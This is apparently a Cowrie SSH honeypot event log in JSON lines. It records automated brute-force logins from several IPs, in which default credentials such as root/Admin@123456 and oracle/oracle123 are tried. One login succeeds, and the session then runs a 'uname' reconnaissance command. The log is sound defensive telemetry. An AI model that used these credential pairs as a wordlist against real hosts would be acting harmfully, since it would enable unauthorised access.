{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:12.163667Z","src_ip":"91.92.42.227","session":"d332afd9618b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:12.221275Z","src_ip":"45.156.87.147","session":"011ea059b711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47622,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ca7dc98608","protocol":"ssh","message":"New connection: 91.92.42.227:47622 (10.17.0.5:22) [session: c2ca7dc98608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:14.844662Z"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:15.232657Z","src_ip":"91.92.42.227","session":"d332afd9618b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:16.730088Z","src_ip":"91.92.42.227","session":"c2ca7dc98608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:16.732928Z","src_ip":"91.92.42.227","session":"c2ca7dc98608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53874,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdeacc8c2ef","protocol":"ssh","message":"New connection: 45.156.87.147:53874 (10.17.0.5:22) [session: 7cdeacc8c2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:17.251556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:17.256532Z","src_ip":"45.156.87.147","session":"7cdeacc8c2ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:17.340828Z","src_ip":"45.156.87.147","session":"7cdeacc8c2ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:17.619081Z","src_ip":"45.156.87.147","session":"7cdeacc8c2ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:18.759958Z","src_ip":"45.156.87.147","session":"7cdeacc8c2ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:18.848976Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47710,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f50dc143dd","protocol":"ssh","message":"New connection: 91.92.42.227:47710 (10.17.0.5:22) [session: f6f50dc143dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:22.795489Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"59c1b4a5f068","protocol":"ssh","message":"New connection: 45.156.87.147:36654 (10.17.0.5:22) [session: 59c1b4a5f068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.461894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.465714Z","src_ip":"45.156.87.147","session":"59c1b4a5f068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.584977Z","src_ip":"8.219.200.1","session":"40abd826aef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.592710Z","src_ip":"45.156.87.147","session":"59c1b4a5f068","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.704437Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.706974Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:23.907406Z","src_ip":"45.156.87.147","session":"59c1b4a5f068","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:24.585670Z","src_ip":"91.92.42.227","session":"f6f50dc143dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:24.588836Z","src_ip":"91.92.42.227","session":"f6f50dc143dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:24.992943Z","src_ip":"45.156.87.147","session":"59c1b4a5f068","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:25.326711Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:25.331192Z","src_ip":"91.92.42.227","session":"d025760ddb66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:25.343408Z","src_ip":"91.92.42.227","session":"c2ca7dc98608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:25.959300Z","src_ip":"8.219.200.1","session":"40abd826aef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:27.649715Z","src_ip":"91.92.42.227","session":"c2ca7dc98608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60630,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a7cc59b27a","protocol":"ssh","message":"New connection: 45.156.87.147:60630 (10.17.0.5:22) [session: 54a7cc59b27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:29.490152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:29.494499Z","src_ip":"45.156.87.147","session":"54a7cc59b27a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:29.577071Z","src_ip":"45.156.87.147","session":"54a7cc59b27a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:29.706004Z","src_ip":"91.92.42.227","session":"f6f50dc143dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1","message":"login attempt [alex/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:29.828344Z","src_ip":"45.156.87.147","session":"54a7cc59b27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:30.912448Z","src_ip":"45.156.87.147","session":"54a7cc59b27a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55286,"dst_ip":"10.17.0.5","dst_port":22,"session":"229dd95b11bf","protocol":"ssh","message":"New connection: 91.92.42.227:55286 (10.17.0.5:22) [session: 229dd95b11bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:31.119118Z"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:31.581354Z","src_ip":"91.92.42.227","session":"f6f50dc143dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:31.873928Z","src_ip":"91.92.42.227","session":"229dd95b11bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:31.878139Z","src_ip":"91.92.42.227","session":"229dd95b11bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60644,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4838a521261","protocol":"ssh","message":"New connection: 45.156.87.147:60644 (10.17.0.5:22) [session: a4838a521261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:35.189486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:35.193435Z","src_ip":"45.156.87.147","session":"a4838a521261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:35.274708Z","src_ip":"45.156.87.147","session":"a4838a521261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"test","message":"login attempt [runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:35.459998Z","src_ip":"91.92.42.227","session":"229dd95b11bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:35.522323Z","src_ip":"45.156.87.147","session":"a4838a521261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:36.605800Z","src_ip":"45.156.87.147","session":"a4838a521261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:37.006445Z","src_ip":"91.92.42.227","session":"229dd95b11bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45812,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a9a430802f7","protocol":"ssh","message":"New connection: 91.92.42.227:45812 (10.17.0.5:22) [session: 7a9a430802f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:39.695415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:40.136473Z","src_ip":"91.92.42.227","session":"7a9a430802f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@opens